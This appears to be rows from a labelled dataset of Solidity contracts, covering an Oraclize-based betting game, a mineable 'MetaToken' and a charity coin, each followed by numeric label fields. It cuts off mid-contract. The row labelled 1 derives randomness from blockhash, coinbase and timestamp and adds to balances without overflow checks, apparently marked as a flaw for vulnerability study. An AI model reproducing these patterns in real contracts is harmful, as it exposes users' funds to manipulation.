bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
_addr;
_size;
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
sessionKeyHash_bytes32;
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
from;
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
hash;
r;
v;
s;
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract token { function transfer(address receiver, uint amount){ receiver; amount; } }
contract EtherFlipGold is usingOraclize {
modifier ownerAction {
if (msg.sender != owner) throw;
_;
}
modifier oraclizeAction {
if (msg.sender != oraclize_cbAddress()) throw;
_;
}
event newRandomValue(uint roll, address player, uint amount, uint gameType);
event proofFailed(address player, uint amount, uint gameType);
token public tokenReward;
token public bonusToken;
token public sponsoredBonusToken;
address public owner;
uint public generatedBytes;
uint public multiplier = 500;
uint public maxBet = (20000000000000000 * 1 wei);
uint public minBet = (10000000000000000 * 1 wei);
uint public rewardAmount = 1;
uint public bonusAmount;
uint public sponsoredBonusAmount;
uint public callbackGas = 250000;
uint public baseComparable = 65527;
uint public bonusMin;
uint public bonusMax;
uint public sponsoredBonusMin;
uint public sponsoredBonusMax;
mapping (bytes32 => address) playerAddress;
mapping (bytes32 => uint) playerAmount;
function EtherFlipGold() {
owner = msg.sender;
oraclize_setProof(proofType_Ledger);
}
function () payable {
if (msg.sender != owner) {
if (msg.value > maxBet || msg.value < minBet) throw;
oraclize_setProof(proofType_Ledger);
uint numberOfBytes = 2;
uint delay = 0;
bytes32 queryId = oraclize_newRandomDSQuery(delay, numberOfBytes, callbackGas);
playerAddress[queryId] = msg.sender;
playerAmount[queryId] = msg.value;
}
}
function __callback(bytes32 _queryId, string _result, bytes _proof) oraclizeAction {
uint amount = playerAmount[_queryId];
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0 || _proof.length == 0) {
proofFailed(playerAddress[_queryId], amount, 1);
playerAddress[_queryId].transfer(amount);
delete playerAddress[_queryId];
delete playerAmount[_queryId];
} else {
generatedBytes = uint(sha3(_result)) % 2**(2 *8);
newRandomValue(generatedBytes, playerAddress[_queryId], amount, 1);
if (generatedBytes > baseComparable) {
playerAddress[_queryId].transfer(amount * multiplier);
}
if (generatedBytes <= baseComparable && rewardAmount > 0) {
tokenReward.transfer(playerAddress[_queryId], rewardAmount);
}
if (generatedBytes >= bonusMin && generatedBytes <= bonusMax && bonusAmount > 0) {
bonusToken.transfer(playerAddress[_queryId], bonusAmount);
}
if (generatedBytes >= sponsoredBonusMin && generatedBytes <= sponsoredBonusMax && sponsoredBonusAmount > 0) {
sponsoredBonusToken.transfer(playerAddress[_queryId], sponsoredBonusAmount);
}
delete playerAddress[_queryId];
delete playerAmount[_queryId];
}
}
function updateMaxMinComparables(uint updatedMaxBet, uint updatedMinBet, uint updatedBaseComparable) ownerAction {
maxBet = updatedMaxBet * 1 wei;
minBet = updatedMinBet * 1 wei;
baseComparable = updatedBaseComparable;
}
function updateOwner(address updatedOwner) ownerAction {
owner = updatedOwner;
}
function updateRewardToken(address updatedToken, uint updatedRewardAmount) ownerAction {
tokenReward = token(updatedToken);
rewardAmount = updatedRewardAmount;
}
function refundTransfer(address outboundAddress, uint amount) ownerAction {
outboundAddress.transfer(amount);
}
function walletSend(address tokenAddress, uint amount, address outboundAddress) ownerAction {
token chosenToken = token(tokenAddress);
chosenToken.transfer(outboundAddress, amount);
}
function updateGameSpecifics(uint newGas, uint newMultiplier) ownerAction {
callbackGas = newGas;
multiplier = newMultiplier;
}
function setBonusToken(address newBonusToken, uint newBonusAmount, uint newBonusMin, uint newBonusMax, address newSponsoredBonusToken, uint newSponsoredBonusAmount, uint newSBonusMin, uint newSBonusMax) ownerAction {
bonusToken = token(newBonusToken);
bonusAmount = newBonusAmount;
bonusMin = newBonusMin;
bonusMax = newBonusMax;
sponsoredBonusToken = token(newSponsoredBonusToken);
sponsoredBonusAmount = newSponsoredBonusAmount;
sponsoredBonusMin = newSBonusMin;
sponsoredBonusMax = newSBonusMax;
}
} | 0 | 936 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MetaToken is PausableToken {
string public name = 'MetaMetaMeta! Token';
uint8 public decimals = 8;
string public symbol = 'M3T';
string public version = '0.4.0';
uint256 public blockReward = 1 * (10**uint256(decimals));
uint32 public halvingInterval = 210000;
uint256 public blockNumber = 0;
uint256 public totalSupply = 0;
uint256 public target = 0x0000ffff00000000000000000000000000000000000000000000000000000000;
uint256 public powLimit = 0x0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint40 public lastMinedOn;
uint256 public randomness;
address public newContractAddress;
function MetaToken() Ownable() {
lastMinedOn = uint40(block.timestamp);
updateRandomness();
}
function updateRandomness() internal {
randomness = uint256(sha3(sha3(uint256(block.blockhash(block.number-1)) + uint256(block.coinbase) + uint256(block.timestamp))));
}
function getRamdomness() view returns (uint256 currentRandomness) {
return randomness;
}
function hash(uint256 nonce, uint256 currentRandomness) pure returns (uint256){
return uint256(sha3(nonce+currentRandomness));
}
function checkProofOfWork(uint256 nonce, uint256 currentRandomness, uint256 currentTarget) pure returns (bool workAccepted){
return uint256(hash(nonce, currentRandomness)) < currentTarget;
}
function checkMine(uint256 nonce) view returns (bool success) {
return checkProofOfWork(nonce, getRamdomness(), target);
}
function mine(uint256 nonce) whenNotPaused returns (bool success) {
require(checkMine(nonce));
Mine(msg.sender, blockReward, uint40(block.timestamp) - uint40(lastMinedOn));
balances[msg.sender] += blockReward;
blockNumber += 1;
totalSupply += blockReward;
updateRandomness();
var mul = (block.timestamp - lastMinedOn);
if (mul > (60*2.5*2)) {
mul = 60*2.5*2;
}
if (mul < (60*2.5/2)) {
mul = 60*2.5/2;
}
target *= mul;
target /= (60*2.5);
if (target > powLimit) {
target = powLimit;
}
lastMinedOn = uint40(block.timestamp);
if (blockNumber % halvingInterval == 0) {
blockReward /= 2;
RewardHalved();
}
return true;
}
function setNewContractAddress(address newAddress) onlyOwner {
newContractAddress = newAddress;
}
event Mine(address indexed _miner, uint256 _reward, uint40 _seconds);
event RewardHalved();
} | 1 | 4,590 |
pragma solidity ^0.4.18;
library SafeMath3 {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != owner);
require(_newOwner != address(0x0));
OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
}
}
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() constant public returns (uint);
function balanceOf(address _owner) constant public returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint remaining);
}
contract ERC20Token is ERC20Interface, Owned {
using SafeMath3 for uint;
uint public tokensIssuedTotal = 0;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) internal allowed;
function totalSupply() constant public returns (uint) {
return tokensIssuedTotal;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(balances[msg.sender] >= _value);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SaintCoinToken is ERC20Token {
uint constant E6 = 10**6;
string public constant name = "Saint Coins";
string public constant symbol = "SAINT";
uint8 public constant decimals = 0;
uint public tokensPerEth = 1000;
mapping(address => bool) public grantedContracts;
address public helpCoinAddress;
event GrantedOrganization(bool isGranted);
function SaintCoinToken(address _helpCoinAddress) public {
helpCoinAddress = _helpCoinAddress;
}
function setHelpCoinAddress(address newHelpCoinWalletAddress) public onlyOwner {
helpCoinAddress = newHelpCoinWalletAddress;
}
function sendTo(address _to, uint256 _value) public {
require(isAuthorized(msg.sender));
require(balances[_to] + _value >= balances[_to]);
uint tokens = tokensPerEth.mul(_value) / 1 ether;
balances[_to] += tokens;
tokensIssuedTotal += tokens;
Transfer(msg.sender, _to, tokens);
}
function grantAccess(address _address) public onlyOwner {
grantedContracts[_address] = true;
GrantedOrganization(grantedContracts[_address]);
}
function revokeAccess(address _address) public onlyOwner {
grantedContracts[_address] = false;
GrantedOrganization(grantedContracts[_address]);
}
function isAuthorized(address _address) public constant returns (bool) {
return grantedContracts[_address];
}
}
contract AfricaSaveTheChildren_SaintCoinCaller is Owned {
address saintCoinAddress;
address fundationWalletAddress;
uint public percentForHelpCoin = 10;
function AfricaSaveTheChildren_SaintCoinCaller(address _saintCoinAddress, address _fundationWalletAddress) public {
require(_saintCoinAddress != address(0x0));
require(_fundationWalletAddress != address(0x0));
saintCoinAddress = _saintCoinAddress;
fundationWalletAddress = _fundationWalletAddress;
}
function setFoundationAddress(address newFoundationWalletAddress) public onlyOwner {
fundationWalletAddress = newFoundationWalletAddress;
}
function setPercentForHelpCoin(uint _percentForHelpCoin) public onlyOwner {
percentForHelpCoin = _percentForHelpCoin;
}
function () public payable {
SaintCoinToken sct = SaintCoinToken(saintCoinAddress);
sct.sendTo(msg.sender, msg.value);
fundationWalletAddress.transfer(this.balance * (100 - percentForHelpCoin) / 100);
sct.helpCoinAddress().transfer(this.balance);
}
} | 0 | 824 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) external returns (bool);
function totalSupply() constant external returns (uint256 supply);
function balanceOf(address _owner) constant external returns (uint256 balance);
}
contract TrekChain is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
